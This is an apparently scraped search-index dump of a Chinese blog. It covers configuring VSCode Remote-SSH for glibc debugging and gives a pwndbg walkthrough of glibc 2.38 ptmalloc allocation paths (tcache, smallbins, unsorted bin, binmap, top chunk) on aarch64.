SSH。\n而 remote.SSH.configFile 让 VScode 使用使用 Cygwin $HOME/.ssh/config 中的配置来登录远程服务器：\n\u0026#34;remote.SSH.path\u0026#34;: \u0026#34;C:\\\\cygwin64\\\\bin\\\\ssh.exe\u0026#34;, \u0026#34;remote.SSH.configFile\u0026#34;: \u0026#34;C:\\\\cygwin64\\\\home\\\\localuser\\\\.ssh\\\\config\u0026#34;, 使用 VSCode 链接到远程服务器： 更详细的步骤参考: https://code.visualstudio.com/docs/remote/SSH-tutorial\n链接到远程主机后 VSCode 是空白的，因为当前没有打开的源码目录。\n但如果 File - Open Folder 打开 glibc 目录又会触发 SSH Timeout 的 BUG，因为 VSCode 会再次尝试进行端口映射，而这次必然会映射失败。此时要么就关闭所有的 VScode 实例，SSH 会被杀死，下次启动的时候就能成功打开 glibc 源码目录。\n或者从 Terminal 中切换到 glibc 目录，使用 Ctrl + Click 可以在新窗口中打开，这样就没什么问题，因为这样切换到 glibc 源码目录还是在同一个 VSCode 实例操作的。 因为我使用的 Clangd 而不是 VScode 自己的 intelliSenseEngine，所以我需要将 远程 VSCode 的 intelliSenseEngine 设置为 Disable ：\n\u0026#34;C_Cpp.intelliSenseEngine\u0026#34;: \u0026#34;disabled\u0026#34;,","date":"13 April 2024","externalUrl":null,"permalink":"/posts/debugenv/","section":"Posts","summary":"以 GLIBC 为例，搭建二进制与源码调试环境\n","title":"强迫症的 Debug 环境搭建记录","type":"posts"},{"content":"","date":"21 November 2023","externalUrl":null,"permalink":"/categories/binary-analysis/","section":"Categories","summary":"","title":"Binary-Analysis","type":"categories"},{"content":"围绕 GLIBC ptmalloc，记录 tcache、smallbins、malloc 路径和堆结构的调试分析。\nGLIBC 版本： # commit 36f2487f13e3540be9ee0fb51876b1da72176d3f (grafted, HEAD, tag: glibc-2.38) Author: Andreas K. Hüttel \u0026lt;dilfridge@gentoo.org\u0026gt; Date: Mon Jul 31 19:54:16 2023 +0200 NEWS: Fix typos Signed-off-by: Andreas K. Hüttel \u0026lt;dilfridge@gentoo.org\u0026gt; __libc_malloc 走马观花 # 一个运行中程序中的 bins\npwndbg\u0026gt; bins tcachebins 0x20 [ 1]: 0xba6ff66bac80 ◂— 0x0 0x30 [ 1]: 0xba6ff66cc990 ◂— 0x0 0x60 [ 1]: 0xba6ff66bdde0 ◂— 0x0 0x70 [ 2]: 0xba6ff66cebc0 —▸ 0xba6ff66a4c00 ◂— 0x0 0x80 [ 1]: 0xba6ff66a6ff0 ◂— 0x0 0xa0 [ 1]: 0xba6ff66bfd30 ◂— 0x0 0xb0 [ 2]: 0xba6ff66a34f0 —▸ 0xba6ff66d0390 ◂— 0x0 0xe0 [ 1]: 0xba6ff66a3410 ◂— 0x0 0xf0 [ 1]: 0xba6ff66ad7a0 ◂— 0x0 0x100 [ 1]: 0xba6ff66d0460 ◂— 0x0 0x110 [ 1]: 0xba6ff66c88c0 ◂— 0x0 0x120 [ 1]: 0xba6ff66a8bf0 ◂— 0x0 0x140 [ 1]: 0xba6ff66a26b0 ◂— 0x0 0x1d0 [ 1]: 0xba6ff66a27f0 ◂— 0x0 0x1e0 [ 1]: 0xba6ff66ad5c0 ◂— 0x0 0x230 [ 1]: 0xba6ff66b64f0 ◂— 0x0 0x260 [ 2]: 0xba6ff66c6630 —▸ 0xba6ff66a8910 ◂— 0x0 0x270 [ 1]: 0xba6ff66a29c0 ◂— 0x0 0x280 [ 1]: 0xba6ff66c6920 ◂— 0x0 0x290 [ 1]: 0xba6ff66c1b40 ◂— 0x0 0x2a0 [ 2]: 0xba6ff66b6720 —▸ 0xba6ff66a6960 ◂— 0x0 0x2c0 [ 1]: 0xba6ff66ce7d0 ◂— 0x0 0x2d0 [ 1]: 0xba6ff66bdb10 ◂— 0x0 0x300 [ 1]: 0xba6ff66b8570 ◂— 0x0 0x310 [ 1]: 0xba6ff66d8650 ◂— 0x0 0x340 [ 1]: 0xba6ff66a48a0 ◂— 0x0 0x370 [ 1]: 0xba6ff66bc1c0 ◂— 0x0 0x380 [ 1]: 0xba6ff66a4520 ◂— 0x0 0x3d0 [ 1]: 0xba6ff66ba8b0 ◂— 0x0 0x3f0 [ 1]: 0xba6ff66a6c00 ◂— 0x0 0x410 [ 1]: 0xba6ff66d9960 ◂— 0x0 fastbins empty unsortedbin all: 0xba6ff66b9690 —▸ 0xe1b9d1800ab0 (main_arena+96) ◂— 0xba6ff66b9690 smallbins 0x20: 0xba6ff66c8890 —▸ 0xba6ff66d0430 —▸ 0xba6ff66a4bd0 —▸ 0xe1b9d1800ac0 (main_arena+112) ◂— 0xba6ff66c8890 0x40: 0xba6ff66a44d0 —▸ 0xba6ff66bc170 —▸ 0xe1b9d1800ae0 (main_arena+144) ◂— 0xba6ff66a44d0 0x50: 0xba6ff66bdab0 —▸ 0xba6ff66a3590 —▸ 0xe1b9d1800af0 (main_arena+160) ◂— 0xba6ff66bdab0 0x60: 0xba6ff66a88a0 —▸ 0xba6ff66ce760 —▸ 0xe1b9d1800b00 (main_arena+176) ◂— 0xba6ff66a88a0 0x70: 0xba6ff66a3390 —▸ 0xba6ff66bc520 —▸ 0xe1b9d1800b10 (main_arena+192) ◂— 0xba6ff66a3390 0x80: 0xba6ff66a8b60 —▸ 0xe1b9d1800b20 (main_arena+208) ◂— 0xba6ff66a8b60 0x90: 0xba6ff66c6880 —▸ 0xe1b9d1800b30 (main_arena+224) ◂— 0xba6ff66c6880 0xa0: 0xba6ff66c1a90 —▸ 0xe1b9d1800b40 (main_arena+240) ◂— 0xba6ff66c1a90 0xe0: 0xba6ff66d9870 —▸ 0xe1b9d1800b80 (main_arena+304) ◂— 0xba6ff66d9870 0x130: 0xba6ff66cea80 —▸ 0xe1b9d1800bd0 (main_arena+384) ◂— 0xba6ff66cea80 0x170: 0xba6ff66a67e0 —▸ 0xe1b9d1800c10 (main_arena+448) ◂— 0xba6ff66a67e0 0x180: 0xba6ff66b83e0 —▸ 0xe1b9d1800c20 (main_arena+464) ◂— 0xba6ff66b83e0 0x1f0: 0xba6ff66bd0c0 —▸ 0xe1b9d1800c90 (main_arena+576) ◂— 0xba6ff66bd0c0 0x2a0: 0xba6ff66d00e0 —▸ 0xe1b9d1800d40 (main_arena+752) ◂— 0xba6ff66d00e0 0x2d0: 0xba6ff66a6220 —▸ 0xe1b9d1800d70 (main_arena+800) ◂— 0xba6ff66a6220 0x2e0: 0xba6ff66aeaf0 —▸ 0xe1b9d1800d80 (main_arena+816) ◂— 0xba6ff66aeaf0 largebins 0x980-0x9b0: 0xba6ff66bf390 —▸ 0xe1b9d1801000 (main_arena+1456) ◂— 0xba6ff66bf390 0x3000-0x3ff0: 0xba6ff66c89c0 —▸ 0xe1b9d18011b0 (main_arena+1888) ◂— 0xba6ff66c89c0 0x4000-0x4ff0: 0xba6ff66a8d00 —▸ 0xba6ff66c1dc0 —▸ 0xe1b9d18011c0 (main_arena+1904) ◂— 0xba6ff66a8d00 0x7000-0x7ff0: 0xba6ff66aeff0 —▸ 0xe1b9d18011f0 (main_arena+1952) ◂— 0xba6ff66aeff0 0x8000-0x8ff0: 0xba6ff66d0550 —▸ 0xe1b9d1801200 (main_arena+1968) ◂— 0xba6ff66d0550 pwndbg\u0026gt; // 这tcache 中的某条 bins 链表，由大小为 0x260 的 chunks 组成，链表头地址为 0xba6ff66c6630 0x260 [ 2] : 0xba6ff66c6630 —▸ 0xba6ff66a8910 ◂— 0x0 chunk 大小 tcache.counts 头节点 这是 smallbins 中的第一条 bins 链表，由大小为 0x20 的 chunks 组成，头节点的地址为 0xba6ff66c8890，末尾节点指向了头节点，表示这是一条循环链表。\nsmallbins 0x20: 0xba6ff66c8890 —▸ 0xba6ff66d0430 —▸ 0xba6ff66a4bd0 —▸ 0xe1b9d1800ac0 (main_arena+112) ◂— 0xba6ff66c8890 0xba6ff66c8890 地址并不是 chunk 的开始地址，而是用户数据地址，假如这条链表的叫 node1，那么 node1-\u0026gt;next 指向 0xba6ff66d0430，ode1-\u0026gt;next 的地址为 0xba6ff66c8890 + 0x10\npwndbg\u0026gt; x 0xba6ff66c8890 + 0x10 0xba6ff66c88a0: 0x0000ba6ff66d0430 malloc(535) # 首先对 535 进行对齐，然后 csize2tidx 计算 tc_idx 的值：\n// malloc/malloc.c 3293 size_t tbytes = checked_request2size (bytes); 3299 size_t tc_idx = csize2tidx (tbytes); checked_request2size：对用户请求的大小进行对齐，达到chunk 要求的标准大小。而 tc_idx 是 tcache 链表的索引，这个索引通过 csize2tidx 计算得到。\nchecked_request2size：\n1317 static inline size_t 1318 checked_request2size (size_t req) __nonnull (1) 1319 { 1320 if (__glibc_unlikely (req \u0026gt; PTRDIFF_MAX)) 1321 return 0; 1322 1323 /* When using tagged memory, we cannot share the end of the user 1324 block with the header for the next chunk, so ensure that we 1325 allocate blocks that are rounded up to the granule size. Take 1326 care not to overflow from close to MAX_SIZE_T to a small 1327 number. Ideally, this would be part of request2size(), but that 1328 must be a macro that produces a compile time constant if passed 1329 a constant literal. */ 1330 if (__glibc_unlikely (mtag_enabled)) 1331 { 1332 /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ 1333 asm (\u0026#34;\u0026#34;); 1334 1335 req = (req + (__MTAG_GRANULE_SIZE - 1)) \u0026amp; 1336 ~(size_t)(__MTAG_GRANULE_SIZE - 1); 1337 } 1338 1339 return request2size (req); 1340 } request2size 是一个宏：\n1 macro request2size 2 3 #define request2size(req) \\ 4 (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \u0026lt; MINSIZE) \\ 5 ? MINSIZE \\ 6 : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \u0026amp; ~MALLOC_ALIGN_MASK) csize2tidx 也是一个宏：\nmacro csize2tidx Type: size_t (aka unsigned long) #define csize2tidx(x) \\ (((x) -MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) checked_request2size 是 inline 函数，request2size 是 macro，这就导致难以调试，csize2tidx 也是如此。\n观察输出的最好方法就是使用 GCC 完全展开这两个宏，包裹进函数里，这样就可以迅速得到一张 checked_request2size \u0026amp; csize2tidx 的返回值表，具体看 main 函数：\n#include \u0026#34;includd.h\u0026#34; #include \u0026lt;stdio.h\u0026gt; size_t csize2tidx(size_t tbytes) { return (((tbytes) - (unsigned long)(( ((__builtin_offsetof(struct malloc_chunk, fd_nextsize)) + ((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1)) \u0026amp; ~((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1))) + (2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1) / (2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t)))); } size_t checked_request2size(size_t bytes) { return (((bytes) + (sizeof(size_t)) + ((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1) \u0026lt; (unsigned long)(( ((__builtin_offsetof(struct malloc_chunk, fd_nextsize)) + ((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1)) \u0026amp; ~((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1)))) ? (unsigned long)(( ((__builtin_offsetof(struct malloc_chunk, fd_nextsize)) + ((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1)) \u0026amp; ~((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1))) : ((bytes) + (sizeof(size_t)) + ((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1)) \u0026amp; ~((2 * (sizeof(size_t)) \u0026lt; __alignof__(long double) ? __alignof__(long double) : 2 * (sizeof(size_t))) - 1)); } int main(void){ for(size_t bytes=0;bytes!=4096;bytes++){ size_t tbytes = checked_request2size (bytes); size_t tc_idx = csize2tidx(tbytes); printf(\u0026#34;bytes = %ld,tbytes = %ld, tc_idx = %ld\\n\u0026#34;,bytes,tbytes,tc_idx); } } 这个程序用于计算 bytes 从 0-4096 的 checked_request2size \u0026amp; csize2tidx 的返回值。\nbytes = 1,tbytes = 32, tc_idx = 0 bytes = 25,tbytes = 48, tc_idx = 1 bytes = 40,tbytes = 48, tc_idx = 1 bytes = 41,tbytes = 64, tc_idx = 2 bytes = 56,tbytes = 64, tc_idx = 2 bytes = 57,tbytes = 80, tc_idx = 3 bytes = 71,tbytes = 80, tc_idx = 3 bytes = 72,tbytes = 80, tc_idx = 3 bytes = 73,tbytes = 96, tc_idx = 4 bytes = 75,tbytes = 96, tc_idx = 4 .... bytes = 535,tbytes = 544, tc_idx = 32 .... 当 bytes = 535 时，tc_idx = 32：\n进到 malloc/malloc.c:3304 对 tc_idx 和 tcache 进行检查：\n► 3304 if (tc_idx \u0026lt; mp_.tcache_bins // mp_.tcache_bins = 64 3305 \u0026amp;\u0026amp; tcache != NULL 3306 \u0026amp;\u0026amp; tcache-\u0026gt;counts[tc_idx] \u0026gt; 0) ... ... 3314 if (SINGLE_THREAD_P) 3315 { 3316 victim = tag_new_usable (_int_malloc (\u0026amp;main_arena, bytes)); 3317 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || 3318 \u0026amp;main_arena == arena_for_chunk (mem2chunk (victim))); 3319 return victim; 3320 } 在 glibc 中，tcache_bins 是用于缓存小型内存块的线程本地缓存（Thread Local Cache，简称 tcache）的大小。在 glibc 2.33 及之后的版本中，tcache_bins 默认为 64，即每个线程的 tcache 最多可以缓存 64 种不同大小的内存块。\n因为没有任何 free 操作，所以 tcache 是空的，tcache != NULL 检查失败，自然不会到 TCACHE 中取出 chunk，但在真实的世界中，tcache 的命中率非常高。\n继续跳转到 3314 行执行，进入 _int_malloc (\u0026amp;main_arena, bytes) 中去。\n它在 glibc 的 malloc 实现中用于处理大于 128KB 的内存分配请求，这个函数接收两个参数：\u0026amp;main_arena 是一个指向主内存区域（main arena）的指针，bytes 是要分配的内存块的字节数。\n_int_malloc 分析 # 根据用户请求的大小，在堆上找到合适大小的可用内存块，并返回指向该内存块的指针。\n// glibc-2.38/malloc/malloc.c 3832 static void * 3833 _int_malloc (mstate av, size_t bytes) 传入的参数：\nav = 0xffffbb2c0a50 \u0026lt;main_arena\u0026gt; bytes = 535 这里又出现了 nb = checked_request2size (bytes); 计算得到 nb = 544。\nglibc-2.38/malloc/malloc.c:3902 检查 nb 是否超过了 get_max_fast () 返回的值 ：\n// get_max_fast 计算 fastbin chunk 的最大尺寸。 3902 if ((unsigned long) (nb) \u0026lt;= (unsigned long) (get_max_fast ())){ .... } 对应的汇编代码：\n► 0xffffbb159ce0 \u0026lt;_int_malloc+56\u0026gt; cmp x21, x0 pwndbg\u0026gt; p $x21 // nb == 544 $110 = 544 pwndbg\u0026gt; p $x0 // get_max_fast() == 128 $111 = 128 在 aarch64 架构，glibc 2.38 中 get_max_fast 返回的最大值为 128。\nif ((unsigned long) (nb) \u0026lt;= (unsigned long) (get_max_fast ())) 判断不成立。\n继续走到 3965 if (in_smallbin_range (nb))：\n3965 if (in_smallbin_range (nb)) 3966 { 3967 idx = smallbin_index (nb); 3968 bin = bin_at (av, idx); 3969 ... 3970 if ((victim = last (bin)) != bin) 3971 { 汇编代码：\n► 0xffffbb159ce8 \u0026lt;_int_malloc+64\u0026gt; cmp x21, #0x3ff 所以当 bytes \u0026gt; 1023 的时候，就会进入到 Largebin 中取出 chunk 吗？ 也就是说 nb 小于 0x3ff（1023），尝试进入 smallbin 中取出 chunk，计算出 idx=34，bin_at 计算出对应的 smallbin 链表为 0xffffbb2c0cc0。\nlast(bin) 是一个宏：\n((bin)-\u0026gt;bk) 但由于没有任何 free 操作，smallbins 此时是空的，显然 bin-\u0026gt;bk == bin，3970 行的判断语句会失败。继续向下走：\n4055 for (;; ) 4056 { 4057 int iters = 0; ► 4058 while ((victim = unsorted_chunks (av)-\u0026gt;bk) != unsorted_chunks (av)) ((victim = unsorted_chunks (av)-\u0026gt;bk) != unsorted_chunks (av)) 中的 unsorted_chunks() 是一个宏：\nmacro unsorted_chunks #define unsorted_chunks(M) (bin_at (M, 1)) // Expands to ((mbinptr) (((char *) \u0026amp;((av)-\u0026gt;bins[((1) - 1) * 2])) \\ - __builtin_offsetof (struct malloc_chunk, fd))) 根据这段宏的意思打印 fd 和 bk 的值\npwndbg\u0026gt; p /x *((av)-\u0026gt;bins[((1) - 1) * 2]) $125 = { mchunk_prev_size = 0xaaaae50376a0, mchunk_size = 0x0, fd = 0xffffbb2c0ab0, bk = 0xffffbb2c0ab0, fd_nextsize = 0xffffbb2c0ac0, bk_nextsize = 0xffffbb2c0ac0 } 这里也可以看出 unsorted bin 实际上是 main_arean 中 最开的第一个 bin 链表。\nfd == bk，unsorted bins 为空，所以不会进到 while 循环里执行。\n最好走到 4318 行：\n► 4318 ++idx; 4319 bin = bin_at (av, idx); 4320 block = idx2block (idx); 4321 map = av-\u0026gt;binmap[block]; 4322 bit = idx2bit (idx); 4323 此时 ++idx = 35，而 bin=bin_at (av, 35);\npwndbg\u0026gt; p *(av-\u0026gt;bins[((35) -1) * 2]) $151 = { mchunk_prev_size = 281473821969600, mchunk_size = 281473821969600, fd = 0xffffbb2c0cd0 \u0026lt;main_arena+640\u0026gt;, \u0026lt;---- !!!! bk = 0xffffbb2c0cd0 \u0026lt;main_arena+640\u0026gt;, fd_nextsize = 0xffffbb2c0ce0 \u0026lt;main_arena+656\u0026gt;, bk_nextsize = 0xffffbb2c0ce0 \u0026lt;main_arena+656\u0026gt; } pwndbg\u0026gt; p bin $152 = (mbinptr) 0xffffbb2c0cd0 \u0026lt;main_arena+640\u0026gt; 根据 \u0026amp;main_arean-\u0026gt;binmap 去 largbins 中取出 chunks：\n4327 if (bit \u0026gt; map || bit == 0) 4328 { 4329 do 4330 { ► 4331 if (++block \u0026gt;= BINMAPSIZE) /* out of bins */ 4332 goto use_top; 4333 } 4334 while ((map = av-\u0026gt;binmap[block]) == 0); 4335 4336 bin = bin_at (av, (block \u0026lt;\u0026lt; BINMAPSHIFT)); 4337 bit = 1; 4338 } 这里会循环 4 次，因为 av.binmap 为0，同样 largbins 是空的：\npwndbg\u0026gt; p av.binmap $157 = {0, 0, 0, 0} binmap一共 128 bits，16字节，4个int大小，binmap 按 int 分成 4 个 block，每 个block有 32 个 bit。\n紧接着走到了这个循环里： victim = unsorted_chunks (av)-\u0026gt;bk) != unsorted_chunks (av) 判断 unsorted_chunks 的第一个元素地址是否等于最后一个元素的地址，换句话说就是判断 unsorted_chunks 是否为空，当没有 free 操作时，unsorted_chunks 显然是空的，所以这里的代码块也不会执行。\n最好走到了这里： 注释： idx2block 是一个宏： ++idx == 58 bin = 0xffff85eb0e40 经过 idx2block 位移操作后得到 block=1。 map = av-\u0026gt;binmap[block]; 得到 map = 0。 binmap 在 main_arean 中： bit = idx2bit (58)，计算得到 bit == 67108864 #define idx2bit(i) ((1U \u0026lt;\u0026lt; ((i) \u0026amp; ((1U \u0026lt;\u0026lt; BINMAPSHIFT) - 1)))) ((1U \u0026lt;\u0026lt; ((idx) \u0026amp; ((1U \u0026lt;\u0026lt; 5) - 1)))) 在没有任何 free 操作下，就根本没有 free chunk，所以并不会进入 4336 行执行： 这里涉及到一个概念就是 binmap：\n如果该large bin中最大的chunk的size小于用户请求的size的话，那么就依次查看后续的large bin中是否有满足需求的chunk，不过需要注意的是鉴于 bin 的个数较多(不同bin中的chunk极有可能在不同的内存页中)，如果按照上一段中介绍的方法进行遍历的话(即遍历每个bin中的chunk)，就可能会发生多次内存页中断操作，进而严重影响检索速度，所以glibc malloc设计了 Binmap 结构体来帮助提高bin-by-bin检索的速度。Binmap记录了各个bin中是否为空，通过bitmap可以避免检索一些空的bin。如果通过binmap找到了下一个非空的large bin的话，就按照上一段中的方法分配chunk，否则就使用top chunk来分配合适的内存：\n► 4431 victim = av-\u0026gt;top; 4432 size = chunksize (victim); 4433 4434 if (__glibc_unlikely (size \u0026gt; av-\u0026gt;system_mem)) 4435 malloc_printerr (\u0026#34;malloc(): corrupted top size\u0026#34;); 4436 这段代码的大概意思就是向上移动 av.top，并使用 set_heap 来更新 mchunk_size 的值，最后返回 victim 指针。\n当 size = chunksize (victim); 得到 size=0 的时候，也就是 top 的 size =0时，就需要使用系统调用 brk 申请新的内存空间，这就转入到 sysmalloc() 中运行：\npwndbg\u0026gt; bt #0 _int_malloc (av=av@entry=0xf82cf43a0a50 \u0026lt;main_arena\u0026gt;, bytes=bytes@entry=640) at malloc.c:4469 #1 0x0000f82cf423aba8 in tcache_init () at malloc.c:3240 #2 0x0000f82cf423b604 in __GI___libc_malloc (bytes=bytes@entry=1024) at malloc.c:3301 #3 0x0000f82cf421648c in __GI__IO_file_doallocate (fp=0xf82cf43a1518 \u0026lt;_IO_2_1_stdout_\u0026gt;) at filedoalloc.c:101 #4 0x0000f82cf4225728 in __GI__IO_doallocbuf (fp=fp@entry=0xf82cf43a1518 \u0026lt;_IO_2_1_stdout_\u0026gt;) at /data/local/tmp/gentoo/home/glibc-2.38/libio/libioP.h:1030 #5 0x0000f82cf42239e8 in _IO_new_file_overflow (f=0xf82cf43a1518 \u0026lt;_IO_2_1_stdout_\u0026gt;, ch=-1) at fileops.c:745 #6 0x0000f82cf4224664 in _IO_new_file_xsputn (f=0xf82cf43a1518 \u0026lt;_IO_2_1_stdout_\u0026gt;, data=\u0026lt;optimized out\u0026gt;, n=8) at /data/local/tmp/gentoo/home/glibc-2.38/libio/libioP.h:1030 #7 0x0000f82cf41fbcb4 in __printf_buffer_flush_to_file (buf=buf@entry=0xffffd9018b90) at ../libio/libioP.h:1030 #8 0x0000f82cf41fbd9c in __printf_buffer_to_file_done (buf=buf@entry=0xffffd9018b90) at printf_buffer_to_file.c:120 #9 0x0000f82cf4204324 in __vfprintf_internal (s=\u0026lt;optimized out\u0026gt;, format=0xb63aab9a0cb8 \u0026#34;Loop %d:\\n\u0026#34;, ap=..., mode_flags=mode_flags@entry=0) at vfprintf-internal.c:1524 #10 0x0000f82cf41fb4b8 in __printf (format=\u0026lt;optimized out\u0026gt;) at printf.c:33 #11 0x0000b63aab9a0b34 in main () at malloc_test.c:14 #12 0x0000f82cf41d6f78 in __libc_start_call_main (main=main@entry=0xb63aab9a0ad4 \u0026lt;main\u0026gt;, argc=argc@entry=1, argv=argv@entry=0xffffd9019208) at ../sysdeps/nptl/libc_start_call_main.h:58 #13 0x0000f82cf41d7040 in __libc_start_main_impl (main=0xb63aab9a0ad4 \u0026lt;main\u0026gt;, argc=1, argv=0xffffd9019208, init=\u0026lt;optimized out\u0026gt;, fini=\u0026lt;optimized out\u0026gt;, rtld_fini=\u0026lt;optimized out\u0026gt;, stack_end=\u0026lt;optimized out\u0026gt;) at ../csu/libc-start.c:360 #14 0x0000b63aab9a09f0 in _start () 这里一个 backtrace 显示当第一次调用 printf 的时候，会初始化 tcache，然后开始申请内存池空间，此时 av.top 为 0，调用 sysmalloc 申请内存。\n经过几轮 Free 操作后的 __libc_malloc(430) # 3299 size_t tc_idx = csize2tidx (tbytes); // tc_idx = 26 // mp_.tcache_bins == 64 3304 if (tc_idx \u0026lt; mp_.tcache_bins 3305 \u0026amp;\u0026amp; tcache != NULL 3306 \u0026amp;\u0026amp; tcache-\u0026gt;counts[tc_idx] \u0026gt; 0) 3307 { 3308 victim = tcache_get (tc_idx); 3309 return tag_new_usable (victim); 3310 } 此时 csize2tidx (430) 计算得到 tc_idx == 26。\nmp_ 结构体是 malloc_par。在 glibc 2.33 及之后的版本中，mp_.tcache_bins 的大小通常由环境变量 TCACHE_MAX_BINS 控制，默认情况下为 64。这意味着每个线程的 tcache 可以缓存 64 种不同大小的内存块。malloc_par 结构体在这里被赋值：\n// malloc/malloc.c 1909 static struct malloc_par mp_ = 1910 { 1911 .top_pad = DEFAULT_TOP_PAD, 1912 .n_mmaps_max = DEFAULT_MMAP_MAX, 1913 .mmap_threshold = DEFAULT_MMAP_THRESHOLD, 1914 .trim_threshold = DEFAULT_TRIM_THRESHOLD, 1915 #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) 1916 .arena_test = NARENAS_FROM_NCORES (1) 1917 #if USE_TCACHE 1918 , 1919 .tcache_count = TCACHE_FILL_COUNT, 1920 .tcache_bins = TCACHE_MAX_BINS, // 64 1921 .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1), 1922 .tcache_unsorted_limit = 0 /* No limit. */ 1923 #endif 1924 }; 此时 tcache != NULL，tcache-\u0026gt;counts[tc_idx] \u0026gt; 0 都满足，直接进入 TCACHE 中取出chunks：\n► 3308 victim = tcache_get (tc_idx); // victim == 0xaaaae50461b0 3309 return tag_new_usable (victim); tcache_get # 3161 static __always_inline void * 3162 tcache_get_n (size_t tc_idx, tcache_entry **ep) 3163 { 3164 tcache_entry *e; 3165 if (ep == \u0026amp;(tcache-\u0026gt;entries[tc_idx])) 3166 e = *ep; 3167 else 3168 e = REVEAL_PTR (*ep); 3169 3170 if (__glibc_unlikely (!aligned_OK (e))) 3171 malloc_printerr (\u0026#34;malloc(): unaligned tcache chunk detected\u0026#34;); 3172 3173 if (ep == \u0026amp;(tcache-\u0026gt;entries[tc_idx])) 3174 *ep = REVEAL_PTR (e-\u0026gt;next); 3175 else 3176 *ep = PROTECT_PTR (ep, REVEAL_PTR (e-\u0026gt;next)); 3177 3178 --(tcache-\u0026gt;counts[tc_idx]); 3179 e-\u0026gt;key = 0; 3180 return (void *) e; 3181 } ptmalloc_init () # ptmalloc_init () 可能在任何需要的时候被调用，这个 backtrace 显示了 __printf 调用了 ptmalloc_init ()：\npwndbg\u0026gt; bt #0 tcache_init () at malloc.c:3236 #1 0x0000e5501c9eb604 in __GI___libc_malloc (bytes=bytes@entry=1024) at malloc.c:3301 #2 0x0000e5501c9c648c in __GI__IO_file_doallocate (fp=0xe5501cb51518 \u0026lt;_IO_2_1_stdout_\u0026gt;) at filedoalloc.c:101 #3 0x0000e5501c9d5728 in __GI__IO_doallocbuf (fp=fp@entry=0xe5501cb51518 \u0026lt;_IO_2_1_stdout_\u0026gt;) at /data/local/tmp/gentoo/home/glibc-2.38/libio/libioP.h:1030 #4 0x0000e5501c9d39e8 in _IO_new_file_overflow (f=0xe5501cb51518 \u0026lt;_IO_2_1_stdout_\u0026gt;, ch=-1) at fileops.c:745 #5 0x0000e5501c9d4664 in _IO_new_file_xsputn (f=0xe5501cb51518 \u0026lt;_IO_2_1_stdout_\u0026gt;, data=\u0026lt;optimized out\u0026gt;, n=8) at /data/local/tmp/gentoo/home/glibc-2.38/libio/libioP.h:1030 #6 0x0000e5501c9abcb4 in __printf_buffer_flush_to_file (buf=buf@entry=0xfffffb6f4490) at ../libio/libioP.h:1030 #7 0x0000e5501c9abd9c in __printf_buffer_to_file_done (buf=buf@entry=0xfffffb6f4490) at printf_buffer_to_file.c:120 #8 0x0000e5501c9b4324 in __vfprintf_internal (s=\u0026lt;optimized out\u0026gt;, format=0xc3ced19f0cb8 \u0026#34;Loop %d:\\n\u0026#34;, ap=..., mode_flags=mode_flags@entry=0) at vfprintf-internal.c:1524 #9 0x0000e5501c9ab4b8 in __printf (format=\u0026lt;optimized out\u0026gt;) at printf.c:33 #10 0x0000c3ced19f0b34 in main () at malloc_test.c:14 #11 0x0000e5501c986f78 in __libc_start_call_main (main=main@entry=0xc3ced19f0ad4 \u0026lt;main\u0026gt;, argc=argc@entry=1, argv=argv@entry=0xfffffb6f4b08) at ../sysdeps/nptl/libc_start_call_main.h:58 #12 0x0000e5501c987040 in __libc_start_main_impl (main=0xc3ced19f0ad4 \u0026lt;main\u0026gt;, argc=1, argv=0xfffffb6f4b08, init=\u0026lt;optimized out\u0026gt;, fini=\u0026lt;optimized out\u0026gt;, rtld_fini=\u0026lt;optimized out\u0026gt;, stack_end=\u0026lt;optimized out\u0026gt;) at ../csu/libc-start.c:360 #13 0x0000c3ced19f09f0 in _start () tcache_key_initialize # 使用 getrandom 系统调用填充 tcache_key。\n// glibc-2.38/malloc/malloc.c 3132 __getrandom_nocancel (\u0026amp;tcache_key, sizeof(tcache_key), GRND_NONBLOCK) // /glibc-2.38/sysdeps/unix/sysv/linux/not-cancel.h 86 static inline ssize_t 87 __getrandom_nocancel (void *buf, size_t buflen, unsigned int flags) 89 return INTERNAL_SYSCALL_CALL (getrandom, buf, buflen, flags); 90 } INTERNAL_SYSCALL_CALL 是一个宏，陷入 getrandom 系统调用：\n1 macro INTERNAL_SYSCALL_CALL 2 provided by \u0026lt;sysdep.h\u0026gt; 3 4 #define INTERNAL_SYSCALL_CALL(...) \\ 5 __INTERNAL_SYSCALL_DISP (__INTERNAL_SYSCALL, __VA_ARGS__) 6 7 // Expands to 8 ({ 9 long _sys_result; 10 { 11 long _x2tmp = (long) (flags); 12 long _x1tmp = (long) (buflen); 13 long _x0tmp = (long) (buf); 14 register long _x0 asm (\u0026#34;x0\u0026#34;); 15 _x0 = _x0tmp; 16 register long _x1 asm (\u0026#34;x1\u0026#34;) = _x1tmp; 17 register long _x2 asm (\u0026#34;x2\u0026#34;) = _x2tmp; 18 register long _x8 asm (\u0026#34;x8\u0026#34;) = ((278)); 19 asm volatile (\u0026#34;svc 0 // syscall \u0026#34; 20 \u0026#34;SYS_ify(getrandom)\u0026#34; 21 : \u0026#34;=r\u0026#34;(_x0) 22 : 